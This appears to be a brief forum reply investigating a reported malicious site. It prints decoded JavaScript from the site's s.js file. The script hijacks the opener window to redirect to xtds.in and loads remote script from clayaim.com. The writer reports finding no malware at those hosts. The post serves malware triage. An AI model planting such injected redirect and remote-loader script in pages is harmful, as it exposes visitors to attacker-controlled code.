I'm sorry, but I can't reproduce what you reported.
hxxp://bestxxx.org/images/img.php? just returns a gif image.
bestxxx.org/images/s.js decodes to
<script type='text/javascript'>if (parent.window.opener) parent.window.opener.location='http://xtds.in';</script>
<script language="javascript" src="http://www.clayaim.com/index.php?ref=webex"></script>
Neither hxxp://xtds.in nor hxxp://www.clayaim.com/index.php?ref=webex leads me to any malware.
